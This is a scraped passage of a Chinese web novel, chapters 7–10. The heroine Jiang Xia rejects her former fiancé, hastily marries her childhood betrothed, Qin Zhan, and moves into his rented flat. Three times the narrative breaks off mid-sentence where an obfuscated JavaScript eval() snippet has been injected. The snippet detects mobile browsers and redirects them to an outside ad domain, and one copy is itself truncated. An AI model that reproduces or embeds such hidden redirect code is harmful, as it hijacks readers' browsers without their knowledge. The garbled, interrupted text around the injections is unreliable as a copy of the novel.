《娇气美人在年代文躺赢》 7. 【07】 这事还要从贺星舟的突然出走说起。 贺星舟在得知江家抱错孩子和换亲的事,立即就坐不住了,以为是江彩云逼迫江夏换亲的,还把她赶去了乡下。 他来不及找江彩云算账,而是找到江建鸿,询问谷莲村的地址,然后直接搭乘长途汽车来到谷莲村。 贺星舟问江建鸿谷莲村的地址时,并未告诉江父,他准备去谷莲村。 因此,直到贺家二老找上门,江建鸿才知道贺星舟不见了。 “这孩子到底去哪里了呢?”贺母一脸焦急道,“去他单位问,单位领导说他请了两天假。” 这时,江建鸿忽然想起昨天的事,他恍然大悟道:“星舟不会是去谷莲村找夏夏了吧,他昨天特地跑来问我谷莲村的地址。” 贺父一听觉得很有可能。 “应该是的,昨天我跟孩子说起彩云和夏夏换亲的事,他情绪很激动。” “那我们赶紧去找他吧。”贺母着急道。 “好好好,赶紧买票过去。”贺父答。 “我跟你们一块儿去吧,谷莲村地处偏僻,你们初次去不一定能找到地方。”江建鸿说。 贺战军点头,没有拒绝。 “我也去,”江彩云突然冒出来,说道,“正好我想回趟谷莲村。” 让村里那些同龄的姑娘看看,她现在过的好日子。 江建鸿闻言点头,他觉得江彩云跟着去也行,正好他们四个孩子可以当面解释下换亲的事,大家一起把事情说开。 于是乎,贺家二老以及江建鸿、江彩云来到了谷莲村。 江彩云重新回到自己生活了二十几年的江家,她并没有空手上门,而是提了两条猪肉。 昨天江建鸿和刘美萍不仅带她去百货大楼买新衣服新鞋子,还一个人给她五块钱零花钱,因此这次回谷莲村她自掏腰包在村口买了两条猪肉。 几人到江家后,向江正华说明了贺星舟的事,江正华一听连忙领着几人去湖边。 正好秦母还没离开,于是陈义兰和秦母周红也跟着一块去。 去湖边的路上,周围村民见他们一群人声势浩大地在路上走着,都好奇询问。 几个姑娘瞧见穿得花里胡哨的江彩云,也凑上前来搭话。 于是乎,就有了江夏看到的这一幕。 江彩云被村里的几个姑娘簇拥在中间,笑得满面春风。 “彩云你这衣服在城里买的吧,真好看。” 江彩云得意笑起来:“我亲爹亲妈给我买的,还有鞋也是。” 说着,她扬起脚上的皮鞋给她们看。 “这一身花了一两百块呢。”她扬起嘴唇,嘚瑟道。 以前她的衣服都是灰扑扑的粗布麻衣,因此昨天去百货大楼买衣服,她特地要求颜色艳丽的款式。 粉红色衬衣,五彩缤纷的花裤子,再搭配一双红色皮鞋。 江彩云在镜子前转了好几个圈,怎么看怎么满意。 “你们摸摸这料子,可滑了。”江彩云大方地将自己的衣袖伸到她们面前道。 几个姑娘也不客气,连忙伸手去摸。姑娘几个要么刚干完家务,要么刚从地里回来,手上或多或少都沾着污渍,摸得她衣服上一个个手指印,她也不生气。 “真的好滑啊,跟水一样,呲溜一下就滑下去了。” 姑娘们摸着江彩云的衣服一个个投来羡慕的目光。 江彩云的头都快昂上天了:“我跟你们说,我未来的婆家比我亲爹妈家还有钱。” “只要我嫁过去,那就是享一辈子的福,顿顿有肉吃。” 姑娘一惊叹:“顿顿有肉吃?那岂不是天天跟过年一样?” 姑娘二羡慕:“天啊,那不就是神仙日子。” 走在旁边的贺家二老:…… 走在另一边的江建鸿低着头看地,一副抬不起头的样子。 “要我说啊,咱们彩云就是命好,”一位姑娘说道,“以前她的谷莲村的时候,找了咱十里八乡唯一的大学生,现在认回城里父母了,又找了个更好的婆家。” 江彩云对这话很是受用,嘴角笑得都快咧到耳朵根了。 一群人走近后才发现贺星舟和秦瞻打起来了。 江建鸿等人见状连忙去拉架。 终于,两人被拉开。 “别拦着我,我要打他。”被拉开贺星舟还站在那里大放厥词。 一直旁观的江夏再清楚不够,说是两人打架,其实纯粹是秦瞻单方面压制,秦瞻把他的双手制住,贺星舟根本动弹不得。 秦母周红也走上前,看着儿子红起来的右脸,心疼地问道:“这好好的,怎么还打起来了呢?” “他先动的手。”秦瞻揉了揉还有点疼的右脸颊,心想这一拳下手真重。 “对,是我先动的手。”贺星舟情绪激动道,“秦瞻,我把你当兄弟,你却背信弃义,你说我该不该打你?” 江建鸿见局面混乱,便去问江夏:“夏夏,这是怎么回事啊?” “我说我已经和江彩云换亲,不再是他的未婚妻,他接受不了,情绪激动之下就打了秦瞻。”江夏言简意赅地概括道。 贺父贺战军也大致猜到儿子打架应该是为了这事。 贺战军叹了一口气道:“儿子,有话好好说,哪能打架呢?” “爸,我不娶江彩云,”贺星舟苦着脸恳求道,“你去跟夏夏说,说无论她是谁家的女儿,贺家都只认她。” 前一秒还笑得满面春风的江彩云,下一秒就一脸震惊:什么?!贺星舟竟然不想娶她? 贺父闻言再次叹气,这事之前江建鸿就跟他说过,没有任何人逼迫,江夏是自愿离开江家,并且换亲的。 言外之意就是,是江夏不想结这门亲,不然她不会走得那么果断决绝。 夏夏和星舟从小一起长大,两人的感情不可谓不好,他也不明白事情怎么就发展成了这样。 但事已至此,江夏不再是江家的女儿,他们贺家更没立场多说什么。 不过,贺父还是依儿子的意思,说了一句:“夏夏,只要你同意,你和星舟的婚约就作数。” 江夏看向两人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183685|165412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语气坚定道:“贺伯父,我明白你的心意,但是已经决定的事我不想再更改。” 闻言,贺战军握紧儿子的手,在他耳边低语:“孩子婚姻讲究你情我愿,你也该死心该放手了。” 贺星舟却是一脸不可思议地望着江夏,像是全然没听到父亲的劝告。 最后,贺父和江建鸿还是把贺星舟带回了省城。 晚上,江夏躺在床上,心里总觉得不踏实。 看贺星舟离开的样子,对她,他好像还没放弃。 人有时候就是这样,得不到的才是最好的。 得不到就是白月光、朱砂痣、意难平,得到后就成了饭黏子、蚊子血、黄脸婆。 反正也睡不着,她索性起床,并划着火柴点亮床头的煤油灯。 靠近富兴镇的几个村基本都通上电了,谷莲村离得远,要等到明年才通电,因此晚上照明只能靠煤油灯或蜡烛。 其实这个年头,村里哪怕通上电,也会常因电力供应不足而停电。所以,家家户户基本都备着蜡烛和煤油灯。 点亮煤油灯后,江夏又打开行李箱,拿出纸和笔。 她将纸铺在破旧的桌面上,开始梳理思绪。 贺星舟来之前,她并不打算急着跟秦瞻确定关系。 毕竟上一世已经吃了一次婚姻的亏,这次无论如何也该谨慎。 但现在情况不一样了,原书男主贺星舟远比她想象的要难缠。 而且秦瞻跟贺星舟还有层朋友的关系在。 若是秦瞻是个道德感较强的人,在得知她和贺星舟的关系后,他怕是不会再掺和进来。 倘若她跟秦瞻的婚事真的吹了,那贺星舟对她估计更不会放手。 她怕就怕这点。 目前她只有一个目标:让贺星舟尽快死心。 其中,最直接有力的办法就是——她结婚。 倘若她结婚,贺星舟对她就算再难死心也得死心。 而结婚对象,面前就有个现成的——秦瞻。 秦瞻在谷莲村长大,江家人对他也算得上是知根知底,而且看大家对他的评价好像还不错。 再就是弹幕对他的评价,弹幕上说他日后会成为市局局长,优秀程度不逊色于原书男主。 最重要的是,他是个工作狂。 对于警察这个职业她大概了解一二,片区警察已经够忙的了,刑警就更不用说。 所以婚后他会大概会忙于工作经常不着家。 这正是她想要的。 退一万步讲,要是日后两人婚姻不睦,她也可以提出离婚。 思来想去,江夏觉得秦瞻这个选项可以。 既然下定决心,那明天两人就去领证。 她握着笔在纸上重重地划了一下。 隔天,江夏没有睡懒觉,早早地起床。 因为她知道秦瞻后天就要返回省城,时间紧迫,领证的事今天就必须办妥。 江夏洗漱完,正准备去厨房找陈母说下这事,结果还没到厨房,就听到李玉敏大着嗓门在厨房吐槽江彩云。 8. 【08】 “妈,不是我说,江彩云这丫头也太白眼狼了。” “你和爸好歹养了她二十二年,她呢叫都不叫你们一声,反倒是没养过她一天的什么亲生父母,被她叫得亲热呢。” “什么叫有奶便是娘,要我说啊江彩云就是。” “你这个嘴啊,”陈义兰无奈道,“就不能少说两句?” “彩云这次回来,不是买了两条猪肉来看我们吗?你还要怎么样?”陈母道。 “她那是为的看你和爸吗?”李玉敏大着嗓门反驳,“她是为的来我们村嘚瑟她的新衣服和她亲生爹妈的。” 见厨房火药味严重,江夏就没再进去。 之前她也是在厨房门口,不小心听到李玉敏吐槽她是个难伺候的祖宗。 那时候她还以为李玉敏只看她不顺眼,如今看来,她看谁都不太顺眼,而且看谁不爽就骂谁,是个无差别攻击的火爆脾气。 吃早饭的时候,江夏跟江父陈母大致表达了一下自己的想法。 不想拖,想尽快和秦瞻领证。 陈义兰听完点头:“原本下半年彩云也是要跟秦瞻领证结婚的,你俩年纪都不小了。” “我们村里这边也有很多是先领证在一起,等之后再补办酒席的。”陈母顺带给她科普了下谷莲村的习俗。 “反正聘礼和彩礼我们两家早就说好了,秦家出六百块钱彩礼再给你打一副金耳环一个金戒指。” “咱家出一辆凤凰牌自行车,然后再用棉花给你们做两床新被褥。” “要我看,你们先领证,酒席可以等过年的时候再办。” 江夏对酒席和婚礼什么的,不太在意,她点点头,表示没意见。 “那吃完早饭我陪你去趟秦家,跟秦家人说说这事。”陈母道。 江夏再次点头。 吃完早饭,陈义兰领着她来到秦家。 陈义兰负责跟秦家父母说明这事,江夏则由秦瞻领着在村里转转。 两人走到僻静处,江夏直接开口道:“我想尽快和你领证,最好是今天。” “啊?”秦瞻闻言一怔。 “你不愿意?”江夏反问。 秦瞻大约是没想到江夏看着娇娇弱弱的,说话竟如此直接坦率,神情中显出几分意外。 他沉默片刻,方道:“也不是不愿意,只是你和贺星舟之间……” 他话说到一半就没说了,但江夏也明白了他话中的含义。 “我和贺星舟之间,是他单方面纠缠,这你也看到了。”她道。 “所以,”她顿了顿,道,“你很介意我和贺星舟的过去?” “不是不是。”他连忙解释。 随后他又道:“只是,自古有言,朋友妻不可欺,昨天因为这事他已经对我大打出手。” “若是我们真的结婚,我怕他会承受不住。” 更重要的是,他不想与贺星舟从此反目成仇。 “放心吧,他没你想的那么脆弱。”江夏语气冷淡道。 上辈子她过劳死,他不也没跟着殉情么,后面还结识了女主,并彻底振作起来,将酒楼开得风生水起。 “要不,咱们还是别这么着急领证吧。”秦瞻建议道。 “所以,你想退婚,毁掉秦家长辈与江家长辈定下的娃娃亲?”江夏再次反问。 这话听着咄咄逼人,但她的语气却十分平静。 “当然不是,”秦瞻连忙否认,“我只是不想这么着急。” 他也想看看,后面会不会出现什么转机。 江夏抬眼看他,眼中没什么情绪。 你不着急,我着急啊。 “那我让你做个选择题吧,”她说,“要么今天跟我去领证,如果不同意,那你跟你父母说退婚。” 不想结就赶紧退婚,别耽误她找下家。 像是无可奈何地,秦瞻叹了一口气,说:“那去领证吧。” 江夏眸光微动,她就猜到会是这个回答。 曾有位文学大师就这么说过: 中国人的性情是总喜欢调和、折中的。譬如你说,这屋子太暗,须在这里开一个窗,大家一定不允许的。但如果你主张拆掉屋顶,他们就会来调和,愿意开窗了。* 她和秦瞻的娃娃亲,可不止是他俩的事,这其中还包含了江秦两家多年的情谊。 退婚?那就是毁情谊。 哪家敢提出退婚,那就等着被全村人嚼舌根、戳脊梁骨吧。 退婚这事别说江家不答应,秦瞻但凡敢提出来,秦父估计都会给他打死。 事情敲定后,江夏悬着的心总算是落下了。 “要回去吗?”秦瞻问。 “嗯。”她回答。 随即,两人便往秦家走。 两人一到秦家,陈义兰便笑着问:“你俩聊得怎么样啊?” 方才陈义兰也跟秦家人说了领证的事,秦母的意思呢就是他们不干涉,主要看孩子的意愿。 江夏正想回答陈母的话,秦瞻却抢先开了口。 “爸妈陈阿姨,我和夏夏商量好了,我们想今天就去镇上把结婚证领了。” 闻言,江夏一怔,转头看向他。 像是有些出乎意料,她的眼中闪现几分惊讶。 领证的事明明是她单方面逼他做出的选择,没想到他竟会对长辈说是他俩商量好的。 * 领证的流程还算简单,等他们从镇上的人民政府领完证出来,已经下午。 江夏垂眸看着手上的结婚证,心情复杂。 上辈子这个小红本给她带来了死亡,这一次又会给她带来什么呢。 路上,秦瞻突然开口问道:“你为什么这么着急要跟我结婚?” 问这话时,秦瞻默默地看着她。 从她平静的眼神中,他看不到一点对他的喜欢和爱意。 所以他才想不透这其中的理由。 “妈妈说,原本你和彩云也是要在下半年领证的。”江夏冲他眨巴眨巴眼道,“妈妈还说,咱俩年纪都不小了。” 秦瞻被她突然的卖萌搞得有些自乱阵脚。 “那、那不需要先培养培养感情,再决定结不结婚吗?”他有些结巴道。 如果他俩只是普通的农村人也就算了,但他们是接受过高等教育的大学生,大学生们还是很反对包办婚姻,崇尚自由恋爱的。 一开始他还以为江夏大概也会抱着先培养感情的想法。 “咱们的父母不都是这样吗?相完亲,过个几天就把婚事定下来,然后迎娶女方过门。” “我们也这样,有什么问题吗?”她眨眨眼,反问。 谈到这,秦瞻也大概明白,关于这个问题她并不想真心回答。 于是乎,他也没再继续刨根问底,而是点点头。 两人是骑自行车来镇上的,自然也是骑车回去。 江夏坐在自行车后座上,闭上双眼,感受着迎面吹来的凉风。 到秦家后,陈母便提起了明日回省城的事。 “既然秦瞻明天要回省城,夏夏不如跟着一块儿去。”陈义兰建议道。 江夏微微颔首,觉得很可以。 来之前,她是向棉纺厂请过假的,所以也不能待太久。 昨天她还为怎么回去发愁呢,谷莲村这边交通不便,如果没有自行车就只能步行去镇上,再坐汽车去县里,再转车到省城。 转车倒是小事,主要那两个大行李箱她拎不动啊。 跟秦瞻一起回省城,就有人帮她拎行李箱,那不正好。 这事敲定后,陈义兰和江夏便告辞回家。 江夏走后,秦母连忙将秦瞻拉到一旁。 她问:“小瞻,你租的房子还能住得下夏夏吧?” 秦瞻:“啊?” “啊什么啊呀,”秦母面带嫌弃道,“夏夏从城里的家出来,现在回省城肯定没房子住的,刚好你俩一起回省城,你就直接把她带到你租的房子那。” 秦瞻没说话。 “知道没啊?”秦母又大着嗓子说道。 他这才点头:“知道了。” “夏夏的养父跟义兰特地交代过,说夏夏体弱,累不得,你在省城好好照顾人家姑娘啊。”秦母苦口婆心交代道。 “嗯,我知道。”这回秦瞻倒是回答得干脆。 临行前,陈母给她打包了一大包东西,都是他们自制的土特产,有晒干的鱼、野茶还有些腌萝卜干。 两人隔天早上出发,等到省城已经下午。 秦瞻领着江夏来到自己的出租屋。 她走进房子,随意地打量了一眼,家具不多,但好在干净整洁。 秦瞻帮她把行李箱放进卧室后,看了眼时间道:“你先休息休息,我去菜市场买菜。” 说罢,他就拿着钥匙准备出门。 刚走到门口,他又停下来,转身问:“你有想吃的菜吗?” “我不怎么吃辣,其他的无所谓,你看着买吧。”江夏道。 他点了下头,才出门。 晚饭秦瞻简单地炒了两个家常菜,一道素炒莲藕,一道红烧鱼,她尝了尝,味道竟然还不错。 莲藕口感爽脆,鱼肉更是鲜嫩入味。 看来之前他说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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连个翻身也不曾有。 看来是她多虑了。 不过想来也是,秦瞻应该是个道德感比较强的人,不然之前他不会说什么朋友妻不可欺之类的话。 如果秦瞻前脚刚说完“朋友妻不可欺”,后脚又对她,曾经好友的未婚妻,行不轨之事,那才是两面三刀的伪君子。 天一亮,秦瞻就翻身起床,坐起身后,大概是怕吵到她,他又刻意放轻动作。 江夏早就醒了,一直睁着眼睛看着天一点点亮起来。 秦瞻一起床就去楼下的包子铺买来早餐。 他将买来的包子放桌上,一抬头就看见了从卧室出来的江夏。 他下意识一怔,然后道:“我买了包子。” “因为不清楚你的口味,所以素的肉的都买了一点,你趁热吃。” “我都行。”江夏道。 秦瞻随意拿起两个包子道:“那我去上班了。” “你今天也要去上班吧?”他问。 “嗯,”江夏颔首,“我这段时间值夜班。” “这是自行车钥匙,给你放着了,”他说,“棉纺厂离这不算近,你骑车更方便些。” 她抬眼看向他,像是有些意外他的体贴。 愣神之后,她才点了下头。 “好,谢谢。” 晚上,江夏来到棉纺厂值班室上班。 这些天她都是晚上睡觉,一时转换,根本无法适应。 好在晚上值班室也没什么事,可以趴在桌上小憩。 棉纺厂值班员这个工作确实轻松,平时也就巡查巡检一下,没其他事。 非要说缺点,那就是工资少,然后还三班倒。 说到这个三班倒,江夏真的很烦,尤其是白班和夜班交替那几天,睡眠习惯转不过来,必要失眠或睡不着。 思虑再三,她还是决定辞职。 辞职的理由有很多,一来这份工作当初是贺家人帮忙找的,既然她想和贺星舟断清关系,就该断得彻底。 若是她还干这份工作,两人必然会藕断丝连、牵扯不清。 二来这份工作工资并不高,她还是想多赚点钱,给自己点依仗。 以前,她能靠着城里的江家,现在她能靠的也只有自己。 只是,她身体不好,任何劳心劳力的活她都不敢做,怕一不小心就过劳死,那就得不偿失了。 如果能有那种“三年不开张,开张吃三年”的工作给她做就最好了。 江夏边做着白日梦,边推着自行车走出棉纺厂。 她正准备骑车回家的时候,忽然身后响起洪亮的声音。 “江夏,你给我站住!” 她不用回头,都能猜出背后叫她的是谁,就这中气和嗓门,非江彩云莫属了。 9. 【09】 江夏扶着自行车回头,没什么情绪地看向她。 江彩云几个快步向前。 她掀起眼皮,问:“你找我有事?” “当然有事,”江彩云走近,叉着腰道,“你这个棉纺厂的工作是贺家帮你找的吧?” 江夏点头,心里却想,江彩云这是盯上她的工作了? 果不其然,江彩云接下来的话便验证了她心中的想法。 “你现在跟贺家也没什么关系了,再继续霸着贺家找的好工作是不是不太合适。”她道。 “所以呢?”江夏挑眉,明知故问道。 “所以?你是真不懂还是假不懂啊,”江彩云叉着腰,一脸跋扈的样子,“我才是江家的女儿,你以前享受的东西,现在都该物归原主懂吗?家庭、亲事,还包括你的工作。” “可是,”江夏娇滴滴地开口,“棉纺厂的工作就算我让给你,你也做不了呀。” “厂里的值班员至少也要高中学历的。”说罢,她无辜地冲她眨巴眨巴眼。 高中学历?但她初中还没读完就辍学了啊。 可恶! 江彩云顿时气成河豚。 她花几秒时间平复了下心情,然后挥挥手,大发慈悲道:“既然这个工作我干不了,那你就干着吧。” “我回头让爸妈跟贺家给我找更好的。”她昂首挺胸,神气十足道。 江夏见没她事了,正想说:那我可以走了吗? 结果,她的身后再次响起一个声音。 “江彩云,你干什么?”男人近乎咆哮道。 江夏听到这个熟悉的声音,嘴角不由一抽。 今天到底是要闹哪样啊,一个接一个的,唱戏呢。 她懒得回头,直到贺星舟走到她身边她都没有抬头看他一眼。 倒不是她有多讨厌或多嫌弃他,只是既然决定断干净,她便不想再和他纠缠不清。 贺星舟看着一个眼神都不愿意给他的江夏,感觉心脏仿佛被一只手狠狠扼住,让他喘不过气。 “贺星舟,你干什么那么凶我?”江彩云单手叉腰,另一只手指着他骂道。 贺星舟下意识地将江夏护在身后,道:“你别以为我没听到,你要抢夏夏的工作。” 江彩云像是被他的话给气笑了。 她嗤笑一声,毫不客气道:“贺星舟,你有没有搞清楚啊?” “什么叫我抢她的工作,我现在才是江家的女儿,这份工作是属于江家女儿的,也就是我的,你懂不懂?” “还有你啊,我才是你未来媳妇,你干嘛老是护着她?你该护着你未来媳妇我,知道吗?” 贺星舟皱着眉头看向她:“你简直不可理喻。” “第一,这份工作是贺家给夏夏找的,不属于什么江家女儿,只属于夏夏。” “第二,我从来就没说过要娶你,我也不会娶你,这要我说多少遍你才懂?” “我的未婚妻我只认夏夏。” “你还不想娶我?”江彩云冷笑一声,像是听见了很可笑的事。 随即,她又用嫌弃的眼神上下打量他:“就你这瘦得跟麻杆似的身板,我还不稀得嫁呢。” “还不想娶我,”她不耐烦地冲贺星舟挥了几下手,“不娶就不娶,离了你我江彩云还嫁不出去不成。” “你们大丈夫何患无妻,我小女子何患无夫。”说到这的时候,她气得差点蹦起来。 贺星舟也像是被她气极,伸出一只手颤抖地指着她,咬牙切齿道:“悍、悍妇。” 他不想站在街口与江彩云对骂,简直有辱斯文。 因此,在指责完江彩云是悍妇后,他便准备转身跟江夏说他俩去别处说话,结果一转头,江夏早就不打招呼地骑车走了。 贺星舟望着早已看不见她身影的街道,心中怅然若失,他今天过来其实是想问她,她现在住哪里的。 早在贺星舟挡在她面前,并与江彩云吵起来的时候,她就悄悄蹬上自行车跑了。 不走,难道留在原地听他俩吵架?还是等贺星舟吵完,再来找她? 江夏骑着车,心中愈发坚定了要辞职的事。 她这才刚回来上班第一天,江彩云和贺星舟就相继来棉纺厂门口堵她。 这工作要是不辞,以后还不知道有多少麻烦事等着她呢。 只不过,在辞职前,她得先找个赚钱的路子。 就算一时找不到,但至少得先摸索出一个方向。 若是贸然辞职,没了收入,光坐吃山空也是不行的。 江夏这样想着便回到了住处。 随便吃了点后,她像往常一样,拿起纸和笔,开始梳理思绪。 关于挣钱的路子,她首先就排除了创业。 上辈子她吃创业的苦已经吃得够多了,这辈子她无论如何也不会碰创业这条路了。 创业这事,已经让她产生了心理阴影。她怕自己还没开始干,就整天担惊受怕的,怕自己哪天又被创业给累死了。 这年头要说什么来钱快,还是数创业,但创业前期也是足够辛苦。 她这个身子实在是赚不了创业的钱,最好是能寻点轻松些的挣钱方式。 江夏困得打了一个哈欠,然后收起纸和笔,准备补觉。 光坐在这想也想不到,正好她这段时间值夜班,她白天可以出去转转,看看有没有合适的赚钱路子。 * 江彩云跟贺星舟吵完架,当即气呼呼地回了家。 一回到家,她就找到江建鸿和刘美萍。 “爸妈,我不准备嫁给贺星舟了,你们重新帮我寻个更好的亲事吧。” 刘美萍心说,人贺星舟从始至终就没打算娶你。 吐槽归吐槽,她脸上还是笑嘻嘻的。 “乖女儿,你能想明白就好,这天底下又不是只贺星舟一个男人,对不对,这个不喜欢,爸妈再重新给你找个更合适的不就行了。” 江彩云用力点头,又道:“你们还得给我重新找个好工作啊,棉纺厂值班员的工作我干不了,江夏说值班员至少要高中学历。” 讲到这,江彩云又忍不住碎嘴:“一个破值班员还要高中学历,瞧不起谁呢,我要是高中学历我还不乐意干值班员的活儿呢。” 刘美萍一听,像是意识到什么,连忙问:“彩云你去棉纺厂找夏夏了?” “嗯,”江彩云理所应当点头,也没打算隐瞒,“我早上去棉纺厂找她了,让她别再霸着值班员的工作,然后又碰上贺星舟,我还跟他大吵了一架。” “这个贺星舟,他以为他是谁,还一脸嫌弃地说不想娶我,就他那样,我还不想嫁呢……” 江彩云一骂起贺星舟就开始滔滔不绝,刘美萍忍不住打断她。 “彩云,不是我说你,你好好的,干嘛去抢夏夏的工作啊。” “夏夏她现在不容易,脱离了我们,她手上也只剩那份工作了。” “你的工作我跟爸不是答应过,会尽快帮你找么。” “妈,你这说的什么话,”江彩云一副难以理解的模样,“什么叫我抢?棉纺厂的工作本就是属于江家女儿的,也就是我的。” “我只是拿回属于自己的东西,有什么错,”她气呼呼道,“而且我刚刚不说了嘛,值班员要高中学历,我不要那工作,让你们重新帮我找。” 说罢,江彩云又是一屁股坐地上,边哭边嚎。 “果然养了二十多年的女儿就是不一样啊,亲生的都比不上。” “她才离开你们几天,你们就心疼她不容易,那你们的亲生女儿在乡下过了二十几年的苦日子,你们怎么不心疼。” “老天爷啊,我的命咋就这么苦呢,”江彩云边哭边拍大腿,“爹不疼娘不爱。” “我活着还有什么意思啊,不如死了算了,啊啊啊啊。” 看着坐在地上撒泼又哭又嚎的江彩云,江家二老按着额角,十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183687|165412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分头痛的样子。 不止刘美萍,连江建鸿都开始想念以前的女儿了。 江夏虽说身体弱,冷不得热不得,不好照顾,但她好歹性子温顺,不会像江彩云这般动不动就撒泼打滚,坐地上嚎。 他们的亲生女儿简直就是个活祖宗。 * 江夏这一觉直接睡到了下午四点多。 起床后,她慢慢悠悠地洗漱完,便一直站在阳台,盯着楼下来来往往的人群发呆。 不知盯了多久,她在人群中瞥见一个熟悉的身影。 秦瞻在楼下的小菜摊前买菜。 菜摊摊主是位年近六十的老奶奶,他站在小摊前看了一会儿最终选了几头青菜。 秦瞻付好钱后,老奶奶从旁边抽出几根水稻秸秆,将那几头青菜捆好,让他就那样拎着。 他左手拎着捆好的青菜,右手拎着半斤猪肉,离开了小摊。 这画面瞧着居家又温馨,她竟一时看得有些出神。 不多久,秦瞻便拎着菜回了家。 晚上,他烧了一道蘑菇肉片和一道蒜蓉青菜。 江夏吃着味道鲜美的蘑菇和青菜,肯定地评价了一声:“好吃。” 看来他不仅是会烧菜而已,手艺还很不错,更重要的是,会的菜式也不少。 就说最近这两天的菜都没重样过。 秦瞻闻言,弯了弯唇:“你喜欢吃就好。” 吃完饭,江夏像往常一样帮忙收碗。 碗一收好,他就让她去客厅休息。 江夏听话地回到客厅,并给自己倒了一杯温水。 她坐在餐桌前,边喝着水,边看着在厨房收拾碗筷的秦瞻发呆。 没想到嫁人后还能继续过上做闺女时的悠闲日子。 家庭就是如此,一个人悠闲的背后,必然有另一个人默默的付出。 秦瞻收拾完厨房,又进了卧室。 过了一会儿,他重新出来,手上拿着一本存折。 他将存折推到江夏面前。 江夏则是一脸茫然地看向他。 “这是我的存折,密码是xxxxxx,”他一脸认真道,“因为我也刚工作不久,所以存折上的钱不多。” “既然咱们已经领证结婚,那就一起把日子过好。”说着,他又把存折往她那边推了推。 江夏大概明白了他的心意,并没有推拒,而是将存折收下。 她微微颔首,道:“好。” “另外,我这个工作经常是一忙起来就忙个不停,所以时常会有晚上回不了家的情况,要是我超过六点还没回家,你也不用等我,自己先吃就行。”他交代道。 江夏又是点点头:“嗯,明白。” 警察嘛,碰上出任务或紧急情况确实会如此。 随后,他像是想起什么,又问道:“你会烧饭吗?需不需要我教你。” 江夏点点头:“我会。” 若她还是上辈子那个江夏,1990年的她应当是不会下厨的,但现在的她拥有了前世的记忆,上一世嫁人后的她可是什么家务都干,做饭自然也包含在内。 交代完这些,秦瞻去阳台洗漱。 江夏盯着手中的存折发呆,忽觉得这小折子份量很重很重。 这其中包含的是秦瞻的真心。 一开始跟他领证结婚,不过是她用来逃避贺星舟纠缠的手段而已。 她甚至早就做好了离婚的打算。 而他,还傻乎乎地把存折交给她,说要和她一起把日子过好。 想到这,她忽然觉得鼻子有点发酸,眼眶有些湿润。 她抬起头,冲着天花板眨了眨眼,想要把眼泪逼回去。 真心,她上辈子也曾付出,只是她注定不是这个故事的主角,得不到一个幸福美满的结局。 她垂下眼眸,最终还是小心地将存折揣进口袋。 既然如此,这份真心她就暂且收下吧。 10. 【10】 翌日早上,江夏下班并没有急着回家,而是就近找了个早餐摊随意地吃了碗混沌。 吃完早饭后,她骑着自行车晃晃悠悠地在各个街道巷弄转着,想要寻找合适的赚钱路子。 骑着车转了有二十来分钟,她有点骑不动了。 江夏把自行车靠墙放着,自己随便找了块石头坐下休息。 她的右手边正好支着一个算命摊。 九零年代搞这类封建迷信的其实还好,要是早个二三十年,这种封建糟粕肯定是要被扫除的。 算命的摊主是个年约五十的老先生,老先生留着标准的山羊胡,半白的头发梳得油光发亮。 算命先生身前放着一张简易的小桌子,桌子上铺着一张白色的棉布,棉布上用金色的墨和朱砂画着复杂的八卦图。 另外,桌上还放着罗盘、卦筒、占卜铜钱等物件。 看着挺专业的,就是没生意。 她在这块石头上坐了起码有二十来分钟,这算命摊愣是一个客人也没等到。 街道来来往往过路的人不少,但是大家瞧都不瞧这算命摊一眼。 算命先生许是觉得干坐着有些无聊,又或许是发觉江夏盯着他的摊子看得过久。 于是,算命先生一转头,冲江夏咧嘴一笑:“小姑娘,看你面带愁容,是否有烦心事啊,何不来我这卜上一卦,让本大仙帮你测一下吉凶啊?” 生意差到都开始拉客了吗? 江夏干笑两声,在心里吐槽:我面带愁容是因为我找不到赚钱的路子,我看你生意不好,也挺愁的啊,你咋不给你自己卜一卦。 “不用了,我没钱。”她直接拒绝。 闻言,算命先生一撇嘴,顿时收起笑容。 原来是个穷鬼,他心道。 江夏屁股底下这块石头,硬邦邦不说,还凹凸不平,坐久了硌得屁股疼。 她正打算起身骑车去别处再转转,这时,斜前方传来一个声音。 “张大仙,三缺一啊,来不来?” 一位身材肥胖的中年妇女站在店门口,冲算命先生喊道。 名为张大仙的算命先生想也没想,直接答应:“好嘞,马上来。” 说罢,张大仙就起身,然后他瞅瞅自己的算命摊,又瞅瞅旁边的江夏。 他厚颜无耻道:“小姑娘麻烦帮我看一下摊,我去解个手,马上回来。” 江夏:“……” 喂喂喂,这位张大仙,你是当我聋,还是当我傻啊。 你明明是去打麻将,还面不改色扯谎说自己去上厕所。 “就一会儿啊,我等会儿还有事要回家。”但她还是答应。 倒不是她有多心善,而是这会儿太阳正好出来,也不烈,晒在身上暖洋洋的,她还想再晒会儿太阳。 而她的屁股却快坚持不住了,这石头又硬又尖,她屁股疼。 帮算命先生看着摊,她正好可以换个凳子坐坐。 一举两得,挺好。 “劳烦劳烦,待会儿我回来给你免费卜一卦。”张大仙道。 江夏内心:大可不必。 得到应允,算命先生脚底生风跑得很快,能看出赌瘾挺大了。 